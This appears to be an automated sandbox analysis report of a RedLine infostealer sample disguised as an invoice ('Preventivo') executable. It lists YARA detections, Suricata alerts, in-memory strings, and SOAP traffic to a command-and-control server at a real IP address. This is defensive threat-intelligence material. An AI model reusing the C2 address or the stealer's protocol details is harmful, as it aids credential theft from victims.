Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 193.70.111.186:13484Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 193.70.111.186:13484Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 193.70.111.186:13484Content-Length: 954608Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 193.70.111.186:13484Content-Length: 954600Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.7:49944

Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186
Source: unknown	TCP traffic detected without corresponding DNS query: 193.70.111.186

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 193.70.111.186:13484Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.70.111.186:13484
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.70.111.186:13484/
Source: jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.70.111.186:13484t-
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: jsc.exe, 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: jsc.exe, 00000007.00000002.1432476685.00000000032BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: jsc.exe, 00000007.00000002.1432476685.00000000034CF000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000007.00000002.1432476685.0000000003719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: jsc.exe, 00000007.00000002.1432476685.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: Amcache.hve.11.dr	String found in binary or memory: http://upx.sf.net
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, jsc.exe, 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: jsc.exe, 00000007.00000002.1433976735.0000000004380000.00000004.00000800.00020000.00000000.sdmp, tmpD714.tmp.7.dr, tmpFEF.tmp.7.dr, tmp4809.tmp.7.dr, tmpF8B.tmp.7.dr, tmpFBC.tmp.7.dr, tmpFCD.tmp.7.dr, tmp47F8.tmp.7.dr, tmpFDF.tmp.7.dr, tmpFAC.tmp.7.dr, tmpF9B.tmp.7.dr, tmpFCE.tmp.7.dr, tmpD713.tmp.7.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: jsc.exe PID: 6936, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC63F7E9	0_2_00007FFAAC63F7E9
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC63C880	0_2_00007FFAAC63C880
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC639A80	0_2_00007FFAAC639A80
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC639A88	0_2_00007FFAAC639A88
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC63CC61	0_2_00007FFAAC63CC61
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC635440	0_2_00007FFAAC635440
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC631700	0_2_00007FFAAC631700
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC641387	0_2_00007FFAAC641387
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC710001	0_2_00007FFAAC710001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_015EE7B0	7_2_015EE7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_015EDC90	7_2_015EDC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069B96D0	7_2_069B96D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069BD5C8	7_2_069BD5C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069B4508	7_2_069B4508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069B1210	7_2_069B1210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069B33C0	7_2_069B33C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_069BDAD0	7_2_069BDAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DC338	7_2_073DC338
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DFB00	7_2_073DFB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073D5F78	7_2_073D5F78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DADB0	7_2_073DADB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DF418	7_2_073DF418
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073D7328	7_2_073D7328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DA118	7_2_073DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073DB970	7_2_073DB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 7_2_073D89D0	7_2_073D89D0

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5092 -s 1152

Source: Preventivo#09678.exe

Static PE information: No import functions for PE file found

Source: Preventivo#09678.exe, 00000000.00000000.1222104674.00000213C9646000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameKostanay.exeB vs Preventivo#09678.exe
Source: Preventivo#09678.exe, 00000000.00000002.1517860910.00000213CB540000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameIrosonuvic: vs Preventivo#09678.exe
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs Preventivo#09678.exe
Source: Preventivo#09678.exe, 00000000.00000002.1530009527.00000213DC17A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIrosonuvic: vs Preventivo#09678.exe
Source: Preventivo#09678.exe	Binary or memory string: OriginalFilenameKostanay.exeB vs Preventivo#09678.exe

Source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 7.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.Preventivo#09678.exe.213dbf0c578.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.Preventivo#09678.exe.213dbf243c0.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.1530009527.00000213DBEF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: Preventivo#09678.exe PID: 5092, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: jsc.exe PID: 6936, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: Preventivo#09678.exe, DTSubStringTypeCreateNewOnMetadataUpdateAttribute.cs

Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'

Source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@5/50@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5092
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1408:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Local\Temp\tmpEEF9.tmp

Jump to behavior

Source: Preventivo#09678.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Preventivo#09678.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
